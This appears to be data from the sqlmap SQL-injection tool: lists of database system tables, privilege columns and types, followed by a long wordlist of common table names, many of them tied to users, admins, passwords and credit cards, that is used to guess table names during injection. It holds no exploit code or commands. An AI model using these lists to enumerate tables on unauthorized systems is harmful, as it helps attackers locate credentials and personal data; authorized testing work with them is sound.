DOMAIN_CONSTRAINTS
DOMAINS
endpoint_webmethods
endpoints
event_notification_event_types
event_notifications
events
extended_procedures
extended_properties
filegroups
foreign_key_columns
foreign_keys
fulltext_catalogs
fulltext_document_types
fulltext_index_catalog_usages
fulltext_index_columns
fulltext_indexes
fulltext_languages
http_endpoints
identity_columns
index_columns
indexes
internal_tables
KEY_COLUMN_USAGE
key_constraints
key_encryptions
linked_logins
login_token
master_files
master_key_passwords
message_type_xml_schema_collection_usages
messages
module_assembly_usages
MSreplication_options
numbered_procedure_parameters
numbered_procedures
objects
openkeys
parameter_type_usages
parameter_xml_schema_collection_usages
parameters
PARAMETERS
partition_functions
partition_parameters
partition_range_values
partition_schemes
partitions
plan_guides
procedures
REFERENTIAL_CONSTRAINTS
remote_logins
remote_service_bindings
routes
ROUTINE_COLUMNS
ROUTINES
schemas
SCHEMATA
securable_classes
server_assembly_modules
server_event_notifications
server_events
server_permissions
server_principals
server_role_members
server_sql_modules
server_trigger_events
server_triggers
servers
service_broker_endpoints
service_contract_message_usages
service_contract_usages
service_contracts
service_message_types
service_queue_usages
service_queues
services
soap_endpoints
spt_fallback_db
spt_fallback_dev
spt_fallback_usg
spt_monitor
spt_values
sql_dependencies
sql_logins
sql_modules
stats
stats_columns
symmetric_keys
synonyms
sysaltfiles
syscacheobjects
syscharsets
syscolumns
syscomments
sysconfigures
sysconstraints
syscurconfigs
syscursorcolumns
syscursorrefs
syscursors
syscursortables
sysdatabases
sysdepends
sysdevices
sysfilegroups
sysfiles
sysforeignkeys
sysfulltextcatalogs
sysindexes
sysindexkeys
syslanguages
syslockinfo
syslogins
sysmembers
sysmessages
sysobjects
sysoledbusers
sysopentapes
sysperfinfo
syspermissions
sysprocesses
sysprotects
sysreferences
sysremotelogins
syssegments
sysservers
system_columns
system_components_surface_area_configuration
system_internals_allocation_units
system_internals_partition_columns
system_internals_partitions
system_objects
system_parameters
system_sql_modules
system_views
systypes
sysusers
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLES
tables
tcp_endpoints
trace_categories
trace_columns
trace_event_bindings
trace_events
trace_subclass_values
traces
transmission_queue
trigger_events
triggers
type_assembly_usages
types
user_token
via_endpoints
VIEW_COLUMN_USAGE
VIEW_TABLE_USAGE
views
VIEWS
xml_indexes
xml_schema_attributes
xml_schema_collections
xml_schema_component_placements
xml_schema_components
xml_schema_elements
xml_schema_facets
xml_schema_model_groups
xml_schema_namespaces
xml_schema_types
xml_schema_wildcard_namespaces
xml_schema_wildcards
## Database: msdb
backupfile
backupfilegroup
backupmediafamily
backupmediaset
backupset
log_shipping_monitor_alert
log_shipping_monitor_error_detail
log_shipping_monitor_history_detail
log_shipping_monitor_primary
log_shipping_monitor_secondary
log_shipping_primaries
log_shipping_primary_databases
log_shipping_primary_secondaries
log_shipping_secondaries
log_shipping_secondary
log_shipping_secondary_databases
logmarkhistory
MSdatatype_mappings
MSdbms
MSdbms_datatype
MSdbms_datatype_mapping
MSdbms_map
restorefile
restorefilegroup
restorehistory
sqlagent_info
suspect_pages
sysalerts
syscachedcredentials
syscategories
sysdatatypemappings
sysdbmaintplan_databases
sysdbmaintplan_history
sysdbmaintplan_jobs
sysdbmaintplans
sysdownloadlist
sysdtscategories
sysdtslog90
sysdtspackagefolders90
sysdtspackagelog
sysdtspackages
sysdtspackages90
sysdtssteplog
sysdtstasklog
sysjobactivity
sysjobhistory
sysjobs
sysjobs_view
sysjobschedules
sysjobservers
sysjobsteps
sysjobstepslogs
sysmail_account
sysmail_allitems
sysmail_attachments
sysmail_attachments_transfer
sysmail_configuration
sysmail_event_log
sysmail_faileditems
sysmail_log
sysmail_mailattachments
sysmail_mailitems
sysmail_principalprofile
sysmail_profile
sysmail_profileaccount
sysmail_query_transfer
sysmail_send_retries
sysmail_sentitems
sysmail_server
sysmail_servertype
sysmail_unsentitems
sysmaintplan_log
sysmaintplan_logdetail
sysmaintplan_plans
sysmaintplan_subplans
sysnotifications
sysoperators
sysoriginatingservers
sysoriginatingservers_view
sysproxies
sysproxylogin
sysproxyloginsubsystem_view
sysproxysubsystem
sysschedules
sysschedules_localserver_view
syssessions
syssubsystems
systargetservergroupmembers
systargetservergroups
systargetservers
systargetservers_view
systaskids
## Database: AdventureWorks
Address
AddressType
AWBuildVersion
BillOfMaterials
Contact
ContactCreditCard
ContactType
CountryRegion
CountryRegionCurrency
CreditCard
Culture
Currency
CurrencyRate
Customer
CustomerAddress
DatabaseLog
Department
Document
Employee
EmployeeAddress
EmployeeDepartmentHistory
EmployeePayHistory
ErrorLog
Illustration
Individual
JobCandidate
Location
Product
ProductCategory
ProductCostHistory
ProductDescription
ProductDocument
ProductInventory
ProductListPriceHistory
ProductModel
ProductModelIllustration
ProductModelProductDescriptionCulture
ProductPhoto
ProductProductPhoto
ProductReview
ProductSubcategory
ProductVendor
PurchaseOrderDetail
PurchaseOrderHeader
SalesOrderDetail
SalesOrderHeader
SalesOrderHeaderSalesReason
SalesPerson
SalesPersonQuotaHistory
SalesReason
SalesTaxRate
SalesTerritory
SalesTerritoryHistory
ScrapReason
Shift
ShipMethod
ShoppingCartItem
SpecialOffer
SpecialOfferProduct
StateProvince
Store
StoreContact
TransactionHistory
TransactionHistoryArchive
UnitMeasure
vAdditionalContactInfo
vEmployee
vEmployeeDepartment
vEmployeeDepartmentHistory
Vendor
VendorAddress
VendorContact
vIndividualCustomer
vIndividualDemographics
vJobCandidate
vJobCandidateEducation
vJobCandidateEmployment
vProductAndDescription
vProductModelCatalogDescription
vProductModelInstructions
vSalesPerson
vSalesPersonSalesByFiscalYears
vStateProvinceCountryRegion
vStoreWithDemographics
vVendor
WorkOrder
WorkOrderRouting
# Common tables
accounts
admin
audit
backup
config
configuration
customers
data
files
history
images
log
logs
members
messages
orders
products
settings
test
tokens
uploads
[Columns]
# MySQL
## Table: mysql.user
Alter_priv
Alter_routine_priv
Create_priv
Create_routine_priv
Create_tmp_table_priv
Create_user_priv
Create_view_priv
Delete_priv
Drop_priv
Event_priv
Execute_priv
File_priv
Grant_priv
Host
Index_priv
Insert_priv
Lock_tables_priv
max_connections
max_questions
max_updates
max_user_connections
Password
Process_priv
References_priv
Reload_priv
Repl_client_priv
Repl_slave_priv
Select_priv
Show_db_priv
Show_view_priv
Shutdown_priv
ssl_cipher
ssl_type
Super_priv
Trigger_priv
Update_priv
User
x509_issuer
x509_subject
# Oracle (types)
BINARY_INTEGER
BLOB
BOOLEAN
CHAR
CLOB
DATE
INTERVAL
LONG
MLSLABEL
NCHAR
NCLOB
NUMBER
NVARCHAR2
RAW
ROWID
TIMESTAMP
VARCHAR
VARCHAR2
XMLType
# MySQL (types)
bigint
blob
char
date
datetime
decimal
double
enum
float
int
set
smallint
text
time
tinyint
varchar
year
# Microsoft SQL Server (types)
bigint
binary
bit
char
cursor
date
datetime
datetime2
datetimeoffset
decimal
float
image
int
money
nchar
ntext
numeric
nvarchar
real
smalldatetime
smallint
smallmoney
sql_variant
table
text
time
timestamp
tinyint
uniqueidentifier
varbinary
varchar
xml
# PostgreSQL (types)
bigint
bigserial
boolean
bpchar
bytea
character
date
decimal
double precision
int4
integer
interval
money
numeric
real
serial
smallint
text
time
timestamp
# Common columns
active
address
admin
blocked
category_id
city
confirmed
country
created_at
created_on
customer_id
deleted
deleted_at
dob
email
enabled
first_name
flag
gender
hidden
is_active
is_deleted
is_published
last_name
locked
login
modified_on
name
order_id
password
phone
private
product_id
public
role
salt
state
status
timestamp
token
type
updated_at
user_id
username
visible
zip
zip_code
================================================
FILE: data/txt/common-tables.txt
================================================
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
users
customer
user
orders
employee
x_world
category
project
account
customers
country
config
groups
inventory
department
categories
messages
person
comments
sessions
student
items
employees
language
accounts
product
CUSTOMER
faculty
location
item
authors
parts
members
countries
status
menu
dependent
modules
role
products
page
chart
task
posts
DEPT
Person
user_role
ORDERS
emp
album
EMP
log
INVENTORY
payments
part
permission
contact
borrower
report
color
admin
SALGRADE
PRODUCT
vendor
tax
branch
projects
data
course
jobs
watchlist
shipment_line
CATEGORY
categoryNames
attributeCategory
db
PS_DMK
study
event
invoice
order_source
topics
students
order_line
regions
CPG_config
news
dept
permissions
events
shipment
sections
ITEM
hosts
form_definition_version
alias
people
role_permission
applications
CPG_usergroups
image
organization
courses
loan
form_definition
configuration
hibernate_unique_key
order
form_error
payment
Author
history
task_param
movies
dept_locations
track
services
EMPLOYEE
works_on
patient
Student
form_data
setting
PUBLISHER
partsgroup
languages
depositor
CPG_categories
book
Orders
job_history
metadata
exchangerate
shipto
rcpt
team
address
tasks
queue_info
subscribers
city
field_options
locations
statename
BOOK
zuseserver
ap
ar
Employees
USER
userInfo
telephone
session
User
video
LOCATION
tf_links
ACCOUNT
artist
property
the
request
acc_trans
lending
postaladdress
Customers
xmldocument
jiveID
domain
promotion
CPG_filetypes
assembly
business
orderitems
locale
gl
links
located
identities
sizes
companies
payload
Organization
protocol
transfers
encompasses
borders
profiles
salesorder
mailbox
contacts
tables_priv
admin_logs
text
phpbb_config
plugin
stores
host
Book
gifi
user_groups
term
internetaddress
tf_settings
region
poll
makemodel
partstax
catalog
question
vendors
departments
notes
delivery_quality
queries
identification
friends
PERSON
course_section
jiveRemoteServerConf
channels
object
chip_layout
login
user_newtalk
entrants
Device
imageInfo
developers
items_template
defaults
osc_products
mucRoomProp
settings
DEPENDENT
imageCategoryList
islandIn
mobile_menu_text
jiveUserProp
osc_products_options_values
wp_posts
package
mucRoom
vendortax
attrs
config_seq
company
register
checksum_results
ENROLLMENT
operation
binaries
COURSE_SECTION
Students
func
enrollment
readers
action_element
friend_statuses
Domain
servers
UserFields
revision
meals
resources
mixins
sys_options_cats
licenses
SIGNON
clients
Apply
ThumbnailKeyword
form_definition_text
system
jiveOffline
tickers
BANNERDATA
mucAffiliation
rooms
objectcache
collection_item_count
jiveRoster
Volume
lookup
investigator
math
jivePrivate
osc_manufacturers_info
PROFILE
categories_posts
Flight
Gallery
scripts
AUTHOR
physician
client
cv_country_synonyms
osc_categories
interwiki
archive
members_networks
language_text
UserType
friend
osc_products_description
osc_products_to_categories
article
recentchanges
media
conducts
sales
CurrentUsers
Country
querycache
Publication
Pilot
Regions
DEPT_LOCATIONS
master_table
funny_jokes
jos_vm_payment_method
osc_products_images
specialty
visits
ipblocks
WidgetPrices
experiment
Publisher
control
protocol_action
jivePrivacyList
subImageInfo
plugin_sid
message_statuses
state
GalleryThumb
hitcounter
jiveGroupProp
ingredients
community_item_count
jiveExtComponentConf
SEQUENCE
Continent
rights
Path
osc_manufacturers
logging
sailors
Description
warehouse
DEPARTMENT
legacy_things
jiveVCard
agent
CPG_bridge
CUSTOMERS
jiveProperty
app_user
keyboards
categorylinks
grants
Action
WidgetReferences
product_type
developers_projects
userAttribute
form_data_archive
action_attribute
Thumbnail
jiveGroupUser
computers
customertax
sector
networks
columns_priv
globals
Widgets
TERM
salgrade
mucMember
imagelinks
exchange
Status
WORKS_ON
lines
testusers
mobile_menu
staff
tblusers
hashes
partner
Product
personnel
ads
osc_specials
Keyword
supplier
agent_specialty
pokes
profile_pictures
oldimage
isMember
userImageRating
detail_table
osc_products_attributes
officer
COURSE
Time
locatedOn
medicalprocedure
mergesWith
author
UserFieldsInfo
Employee
oe
insurance
SUPPLIER
song
imageAttribute
views_track
extremes
jiveRosterGroups
webcal_config
phpbb_ranks
triggers_template
appVersions
DUMMY
ROLE
activity
study_text
osc_products_options
City
osc_reviews
edge
questions
partof
blobs
tag
userSession
vcd
job
site_stats
mucConversationLog
sequence
madewith
OperationStatus
SPJ
zutat_cocktail
zipcodes
insertids
ChemList
product_category
hero
reports
devel_logsql
f_sequence
MEMBER
ClassificationScheme
ez_webstats_conf
credential
utilise
ACL_table
service_request_log
feedback
vars
tblblogentriescategories
assignment
CUST_HIST
ew_menu
time_zone_transition_type
child_configs
LIBRARY_BRANCH
Company
Component
webcal_entry_log
transactions
webcal_entry_ext_user
dept_location
ConsultantsTable
phonelist
sys_acl_actions
participate
population
dtb_order
files_config
PropColumnMap
result
triggers
audittrail
userlist
backgroundJob_table
sf_guard_user_permission
my_lake
sampleData
reciprocal_partnersites
rss_categories
ADMIN
Factory_Output
geo_Estuary
phpbb_themes
forum
ClientsTable
rating_track
iplinks
maxcodevento
reciprocal_admin
ew_moduli
CheckType
cmLanguage
phpbb_points_config
guava_sysmodules
querycachetwo
BOOK_AUTHORS
records
reciprocal_config
newsletter_queue
passwds
phpbb_posts_text
biosample
connectorassocs
BOOK_COPIES
jos_sections
vote
SCRIPT
THOT_CATEGORY
artifact
object_types
pages
usuario
CE_table
phpbb_forums
tbl_country
Products
dtb_bat_order_daily
site_wtype
geo_mountain
expression
Simple_Response
photoo
photos
version_data
allocation
dtb_category_total_count
habilidad
PREFIX_group_lang
work_orders
SELLER
cv_soil
taxon
bkp_ItemResource
ezcontentobject_trash
webcal_view
pagecontent
Collection
maxcodcurso
phpbb_user_group
InstanceStringTable
bldg_types
t1
mailaddresses
section
m_type
configlist
trade
Parameter
tbl_works_categories
help_category
bkp_String
Class_Display_Sequence
EPIXEIRISI
sounds
phpbb_groups
dtb_campaign
produit
adblocks
vendor_seq
guava_theme_modules
dtb_pagelayout
bookings
writes
writer
distance
jforum_groups
Polynomial
river
GROUP
sea
IDIOTIS
cmPublication
last
UsageParameter
phpbb_topics
t_peep
PREFIX_group
dtb_delivfee
equipment_type_seq
wp_users
news_category
SchemaInfo
WidgetDescriptions
dtb_category_count
sidebar
facets
jforum_roles
geo_Lake
religion
nuke_gallery_media_class
cia
DatabaseInfo
THOT_THEME
enrolled
liste_domaines
DEMO_PROJECTS
ORDERSTATUS
site_iwis
MountainOnIsland
bkp_ItemReference
Category
Mountain
INSTITUTE
POINT
forum_vote
THOT_TYPE
cmts_track
bkp_ItemReplication
hostbenchmarks
filearchive
f_spatialcontext
UM_ROLE_ATTRIBUTES
SCALE
maclinks
books
interactions
graphs_items
stars
BID
enrolls
site_environment
user_types
Severity
partscustomer
wp_pod_types
River
marital_status
PZ
PN
email
CustomerCards
mtb_zip
Campus
hardware
dtb_other_deliv
pricegroup
commissionEmployees
cv_pests_diseases
tbl_tech
macswitches
cc_config
audit
colour
command
audio
egresado
transport
schedule
routers
zips
Descriptions
software
wh_der_children
delivery
placex
cv_crops
problem
Station_Data
account_transaction
time_zone_name
numedia
THOT_DEEP
ZENTRACK_VARFIELD_IDX
roads_endpoints
Propdesc_table
general_log
peer_configs
hot_prop
phones
ServiceBinding
emailinfo
dtb_member
cmSiteNode
nodes
sbreciprocal_cats
rss_read
bombing
tblblogtrackbacks
fragment
dtb_review
tblblogsearchstats
datasources
CPG_users
vrls_partners
guava_roles
webcal_user_layers
ANSWER_GROUP_DETAIL
tbl_clients
dtb_kiyaku
EmailAddress
Sea
powers
reserve
LINEITEM
project_user_xref
Agent
idioma
dtb_campaign_detail
jos_components
user_rights
tf_messages
Class_Def_Table
geo_lake
tissue
ligneDeFacture
PZ_Data
tf_cookies
archtypes
cmts
photo
dtb_bloc
user_preferences
D_Abbreviation
data_set_association
site_location
jforum_posts
Property
pg_ts_dict
badspy
gearing
credenziali
abstract
evidence
files
test
intUsers
tblblogentries
cocktail_person
cdv_curated_allele
REORDER
Religion
turns
MetadataValue
curso
redirect
accountuser
StateType
forum_user_stat
Descriptions_Languages
m_users_profile
Booked_On
tblblogroles
organizations
topic
economy
Model
maxcodcorreo
RATING
Transactions
Chemicals
m_data
USER_GROUP
equipment_type
geo_Island
sysmaps
ezin_roles
phpbb_themes_name
dtb_send_history
dtb_send_customer
cart
size
pg_ts_cfgmap
QUESTION
DC_Data
webcal_group_user
telefono
builds
tbluserroles
webcal_site_extras
solde
document
m_users_acct
vendor_types
fruit
Service
PART
cell_line
dtb_bat_order_daily_age
images
apartments
THOT_ALPHA
ippaths
area
SYNALLAGI
sysmaps_hosts
tbl_works
statuses
webcal_user
customurl
THOT_YEAR
correo
Factory_Master
inv_lines_seq
certificates
webcal_asst
ostypes
POINT_SET
forum_flag
bugs
taxonomy
UM_ROLES
payer
tf_log
job_title
ask
wp_options
forum_user_activity
trackbacks
wp_pod_fields
translation
cdv_passport_group
User_
Users
access_control
my_county
zoph_people
account_permissions
ORDERLINES
wp_term_relationships
pictures
product_font
Departure
routerbenchmarks
bkp_Item
Channel_Data
realtable
odetails
user_type_link
belong
ezin_users
time_zone_transition
ew_tabelle
ezsearch_return_count_new
m_users
Economy
tbl_works_clients
geo_Mountain
dtb_category
tmp
reservation
geo_Desert
dtb_payment
forum_topic
ezsearch_search_phrase_new
Equipment
MetadataSchemaRegistry
basePlusCommissionEmployees
addresses
phpbb_search_wordlist
user_defined_attribute
fournisseurType
dpt_trans
PostalAddress
defaultinsertid
Politics
pools
cocktail_lokal
dtb_blocposition
templatelinks
jforum_ranks
D_Format_Data
tblblogtextblocks
time_zone_leap_second
rss
Decimation
dtb_user_regist
f_options
siteIndexTable
Administrator
phpbb_users
ezin_authors
SpecificationLink
videos
sf_guard_remember_key
employer
leases
phpbb_smilies
stats
f_spatialcontextgroup
experiencia
dtb_csv
line_items_seq
ndb_binlog_index
zoph_categories
help_topic
transaction
wp_links
cdv_allele_curated_allele
timeperiod
item_master_seq
GLI_profiles
cv_countries
journal
tf_users
mwuser
stories
dtb_table_comment
Lake
SQLDATES
phpbb_search_wordmatch
friend2
functions
comboboxes
std_item
jiveVersion
sf_guard_group
Classification
Sensitivity
PREFIX_category_group
preferences
credit
geo_sea
type
knjiga
FindCriteria
zoph_prefs
webcal_entry_repeats
room
domain_info
SALES
profession1
SUPPORT_INCIDENTS
PERMISSION
Defect
Desert
KARTA
UM_ROLE_PERMISSIONS
Purchases
PREFIX_configuration
guava_themes
alltypes
webcal_view_user
vrls_xref_country
subject
continent
D_Format
dtb_recommend_products
Linkdesc_table
TelephoneNumber
dtb_customer_mail_temp
copyrights
DEMO_ASSIGNMENTS
guava_group_assignments
jforum_extensions
zutat
ew_user
alerts
partsvendor
jiveGroup
organization_seq
dtb_customer_reading
configuratore
tbl_event
my_street
osvendors
softwares
Session
admins
TIL_IDIOTON
EthnicGroup
reviews
tblblogentriesrelated
guava_packages
GRouteDetail
cdv_reason
membership
bkp_RS_Servers
vrls_listing_images
schema_info
entity
group
ClassificationNode
dtb_best_products
cv_cropping_system
egresadoxidiomaxhabilidad
locus_data
dtb_order_temp
tblblogsubscribers
account_log
facture
MetadataFieldRegistry
BRANCH
orgs
DM
NextID_table
webcal_group
DC
wp_pod_widgets
chromosomes
Name
roster
dtb_csv_sql
synchro_type
langlinks
genres_in_movies
Province
answerOption
wp_postmeta
ERDESIGNER_VERSION_ID
calendar
cmEvent
forum_user
SalesReps
ew_gruppi
vrls_xref_state_province
conferences
pay
Plane
webcal_entry_repeats_not
Island
tbl_works_tech
webcal_import
nuke_gallery_comments
monthlabel
tblblogcomments
dtb_delivtime
product_size_multi
manufacturer
Tasks
island
coupon
webcal_report
RegistryPackage
sysmaps_links
procs_priv
invoices_seq
film
genres
field
vertex
FoundThumbs
reciprocal_links
Course
idiomaxegresado
ordreReparation
Assigned_To
ORDERITEMS
PREFIX_product_attribute_image
COLLECT_SITE
THOT_CONCEPT
publisher
dtb_mailmaga_template
DSObject_table
forum_post
sf_guard_permission
Prefixes
dtb_update
BROWSE
tf_rss
TIME
reciprocal_mails
association
typeFacture
StringTable
CATEGORIES
Language
mountain
ad_locales
ExtrinsicObject
geo_island
derived_types
snipe_gallery_cat
guava_roleviews
production_wtype
AccountXML1
wh_man_children
product_colour_multi
ike_configs
intUseringroup
study_user
pg_ts_cfg
connectorswitches
procedure_biosample
theday
fournisseur
typeProduit
BOOKAUTHOR
passwords
keys
AuditableEvent
ExternalIdentifier
source
BOOK_LOANS
UserRole
vrls_xref_listing_offer_type
cmRole
PREFIX_search_engine
my_poi
Channel_Comment
forum_cat
invite
PREFIX_order_return_state
experimental_data_set
DOCUMENT_FIELDS
Scripts
desert
Can_Fly
synchro_element
maxcodtelefono
enrollments
tblblogpages
f_attributedefinition
intGroups
way_nodes
THOT_TARGET
MOMENT
dtb_classcategory
product_price
relation_members
PREFIX_access
dtb_deliv
webcal_categories
Parts
invoices
ANSWER
tbl_categories
yearend
DEPARTMENTS
account_level
ref
help_relation
zoph_users
procedure_data_set
Association
mtb_pref
ANSWER_GROUP
GDirectedRoute
graphs
occasion
account_temp
nuke_gallery_categories
areas
cmContentVersion
checksum_history
accessTable
cameFromTable
services_links
Coefficients
reglement
maxcodexperiencia
vrls_xref_listing_type
adv
lake
tests
Offices
Editor
wp_pod_pages
Extlangs
seq_gen
rss_subscription
Station_Comment
jforum_config
geo_River
facilities
connectorlinks
file_storage
neuf
school
wp_term_taxonomy
m_plans
ligneDeCommande
FORM_QUESTION
history_str
f_classtype
endpoints
zoph_albums
bkp_ItemPresentation
tblblogcategories
traffic_selectors
FORM
creditcards
people_reg
country_partner
jforum_users
dtb_mail_history
priorities
relations
combustiblebois
slow_log
WROTE
flow
pay_melodies
dtb_templates
variable_interest
dtb_class
ZENTRACK_VARFIELD
catalogue
wp_usermeta
time_zone
games
wp_terms
sf_guard_user_group
honorsinfo
maxcodestudio
estudio_academico
RECORD
Room
alarms
ew_temi
clubs
net_pm
tbl_state
cmContentTypeDefinition
radacct
peer_config_child_config
cmAvailableServiceBinding
Poles_Zeros
ipmacassocs
m_news
dtb_news
shared_secrets
UsageDescription
rol
phpbb_posts
ipassocs
cmSystemUser
phpbb_categories
FoundLists
channelitems
lokal
subcategory
Languages
jiveSASLAuthorized
cocktail
cust_order
THOT_SOURCE
product_font_multi
presence
UM_USERS
jiveUser
wp_comments
dtb_bat_order_daily_hour
jos_vm_category
CONTACT
SpecialityTable
librarian
geo_river
MonitorStatus
pagelinks
ways
cities
PREFIX_order_return_state_lang
subscriber
prereq
Slot
rss_item
UM_USER_ROLES
PREFIX_timezone
evento
guava_views
cmServiceDefinition
Variants
searchindex
actions
cdv_passport_set
production_multiple
page_log_exclusion
furniture
nuke_gallery_pictures
oc
os
PREFIX_tab_lang
lc_fields
framework_email
datasets
externallinks
geo_desert
politics
hourlyEmployees
D_Comment
EMPLOYEES
individual
m_with
program
combustible
ezin_articles
help_keyword
POSITION
stars_in_movies
glas
cmRepository
dtb_mailtemplate
DIM_TYPE
cart_table
D_Unit
macassocs
changeTva
UM_PERMISSIONS
geo_Source
cdv_marker
nuke_gallery_template_types
UM_USER_ATTRIBUTES
Aircraft
store
Descriptions_Variants
trigger_depends
guava_role_assignments
ExternalLink
bkp_RS_Clusters
PN_Data
users_sessions
webcal_nonuser_cals
parent_test
cmServiceBinding
BUYER
transcache
dtb_question_result
rss_category
profiling
THOT_LANGUAGE
cmContent
Descriptions_Scripts
DSProp_table
webcal_report_template
service_request
resource_types
THOT_SUB_MENU
bkp_ResourceFolder
PREFIX_tab
province
dtb_bat_relate_products
changePrix
proc
ewst_sessioni
nuke_gallery_media_types
outdoor_spaces
po_seq
salariedEmployees
grp
jforum_topics
array_data
most_recent_checksum
m_earnings
product_related
dtb_baseinfo
webcal_import_data
federationApplicants
melodies
jforum_forums
sf_guard_group_permission
sys_acl_matrix
country_diseases
dtb_order_detail
sic
PROJECT
log_fake_referers
ROLE_PERM
isDeleted_table
vrls_listings
Table
sf_guard_user
Subject
cdv_curation
dictionary
forum_report
institution
cmQualifyer
jforum_categories
site_climatic
phpbb_points_values
zoph_color_schemes
TypeRule
dtb_customer
PREFIX_customer_group
ProjectsTable
dtb_products
words
dtb_question
UM_USER_PERMISSIONS
exam
commande
dtb_products_class
subscribe
page_restrictions
querycache_info
cdv_map_feature
Link_table
guava_users
connectormacassocs
moduleexecs
guava_groups
Institution
sconfig
shared_secret_identity
platforms
BORROWER
phpbb_acl_options
markers
Population
shipping
guava_preferences
rating
UserCapability
Priority
rec_jobs
ezin_sections
Descriptions_Regions
SPACE
geo_Sea
DATA_ORG
Contributor
wallet
balance
flag
# Various Joomla tables
jos_vm_product_download
jos_vm_coupons
jos_vm_product_reviews
jos_core_acl_aro
jos_vm_shopper_vendor_xref
jos_stats_agents
jos_vm_orders
jos_poll_menu
jos_content_rating
jos_vm_vendor
jos_vm_product_mf_xref
jos_vm_export
jos_polls
jos_content_frontpage
jos_vm_userfield_values
jos_categories
jos_poll_data
jos_vm_manufacturer
jos_vm_order_user_info
jos_core_acl_groups_aro_map
jos_messages
jos_vm_zone_shipping
jos_bannertrack
jos_vm_order_status
jos_modules_menu
jos_core_log_items
jos_modules
jos_users
jos_vm_product_category_xref
jos_vm_product_attribute
jos_poll_date
jos_vm_vendor_category
jos_vm_state
jos_vm_country
jos_weblinks
jos_vm_cart
jos_vm_shipping_label
jos_vm_manufacturer_category
jos_vm_shopper_group
jos_vm_product_votes
jos_vm_currency
jos_vm_creditcard
jos_menu
jos_groups
jos_messages_cfg
jos_vm_order_payment
jos_content
jos_bannerclient
jos_vm_product_discount
jos_core_log_searches
jos_vm_auth_user_group
jos_contact_details
jos_vm_auth_group
jos_vm_waiting_list
jos_vm_category_xref
jos_newsfeeds
jos_vm_auth_user_vendor
jos_vm_user_info
jos_vm_function
jos_vm_product_files
jos_vm_userfield
jos_vm_shipping_carrier
jos_core_acl_aro_map
jos_vm_shipping_rate
jos_vm_product
jos_vm_product_product_type_xref
jos_core_acl_aro_groups
jos_templates_menu
jos_menu_types
jos_plugins
jos_session
jos_vm_order_item
jos_vm_module
jos_vm_product_attribute_sku
jos_vm_product_price
jos_vm_csv
jos_migration_backlinks
jos_vm_product_relations
jos_core_acl_aro_sections
jos_vm_order_history
jos_banner
php_users
ALL_USERS
banned_users
users_tmp
users_club
publicusers
cmsusers
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
blacklist
cost
moves
pelates
tamio
tameio
xristes
zones
tamio_pelates
kwdikos
addressbookgrp
sendmsgs
publicationauthor
publicationfile
topicpublication
userrights
comp_group
computers_ID
event_log
networking
routing
software_licenses
ips
arxeia
SMS_TABLE
TABLE_PRIVILEGE_MAP
AMUSER
CONTACTTYPE
CONTENT
DOWNLOADGROUP
DOWNLOADS
DOWNLOADTYPE
EMAIL
ENQUIRY
FACTSHEET
FUND
FUNDGROUP
HISTORY
MANAGEMENTGROUP
SUBSCRIBE
TBLUSERS
TBLLIST
TBLLOG
TBLPROFILES
TBLREPORTS
TBLTRANSACTIONS
TBLRETAILUSERS
TBLCORPUSERS
TBLCORPORATEUSERS
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
tbladmins
sort
_wfspro_admin
4images_users
a_admin
adm
admin_login
admin_user
admin_userinfo
administer
administrable
administrate
administration
administrator
administrators
adminrights
adminuser
art
article_admin
articles
artikel
aut
autore
backend
backend_users
backenduser
bbs
chat_config
chat_messages
chat_users
clubconfig
content
cpg_config
cpg132_users
customers_basket
dbadmins
dealer
dealers
diary
download
Dragon_users
e107_user
fusion_user_groups
fusion_users
ibf_admin_sessions
ibf_conf_settings
ibf_members
ibf_members_converge
ibf_sessions
icq
index
info
ipb_sessions
joomla_users
jos_blastchatc_users
jos_comprofiler_members
jos_joomblog_users
jos_moschat_users
knews_lostpass
korisnik
korisnici
kpro_adminlogs
kpro_user
login_admin
login_admins
login_user
login_users
logins
logon
logs
lost_pass
lost_passwords
lostpass
lostpasswords
m_admin
main
mambo_session
mambo_users
manage
manager
mb_users
member
memberlist
minibbtable_users
mitglieder
movie
mybb_users
mysql
name
names
news_lostpass
newsletter
nuke_authors
nuke_bbconfig
nuke_config
nuke_popsettings
nuke_users
obb_profiles
parol
partners
passes
password
perdorues
perdoruesit
phorum_session
phorum_user
phorum_users
phpads_clients
phpads_config
forum_users
poll_user
punbb_users
pwd
pwds
reg_user
reg_users
registered
reguser
regusers
cards
site_login
site_logins
sitelogin
sitelogins
sites
smallnuke_members
smf_members
SS_orders
statistics
superuser
sysadmin
sysadmins
sysuser
sysusers
table
tables
tb_admin
tb_administrator
tb_login
tb_member
tb_members
tb_user
tb_username
tb_usernames
tb_users
tbl
tbl_user
tbl_users
tbluser
tbl_client
tblclients
tblclient
usebb_members
user_admin
user_info
user_list
user_login
user_logins
user_names
usercontrol
userinfo
userlogins
username
usernames
vb_user
vbulletin_session
vbulletin_user
voodoo_members
webadmin
webadmins
webmaster
webmasters
webuser
webusers
x_admin
xar_roles
xoops_bannerclient
xoops_users
yabb_settings
yabbse_settings
ACT_INFO
ActiveDataFeed
CategoryGroup
ChicksPass
ClickTrack
CountryCodes1
CustomNav
DataFeedPerformance1
DataFeedPerformance2
DataFeedPerformance2_incoming
DataFeedShowtag1
DataFeedShowtag2
DataFeedShowtag2_incoming
dtproperties
Event
Event_backup
Event_Category
EventRedirect
Events_new
Genre
JamPass
MyTicketek
MyTicketekArchive
News
PerfPassword
PerfPasswordAllSelected
Promotion
ProxyDataFeedPerformance
ProxyDataFeedShowtag
ProxyPriceInfo
Region
SearchOptions
Series
Sheldonshows
StateList
States
SubCategory
Subjects
Survey
SurveyAnswer
SurveyAnswerOpen
SurveyQuestion
SurveyRespondent
sysconstraints
syssegments
tblRestrictedPasswords
tblRestrictedShows
TimeDiff
Titles
ToPacmail1
ToPacmail2
UserPreferences
uvw_Category
uvw_Pref
uvw_Preferences
Venue
venues
VenuesNew
X_3945
tblArtistCategory
tblArtists
tblConfigs
tblLayouts
tblLogBookAuthor
tblLogBookEntry
tblLogBookImages
tblLogBookImport
tblLogBookUser
tblMails
tblNewCategory
tblNews
tblOrders
tblStoneCategory
tblStones
tblUser
tblWishList
VIEW1
viewLogBookEntry
viewStoneArtist
vwListAllAvailable
CC_info
CC_username
cms_user
cms_users
cms_admin
cms_admins
user_name
jos_user
table_user
mail
bulletin
cc_info
login_name
admuserinfo
SiteLogin
Site_Login
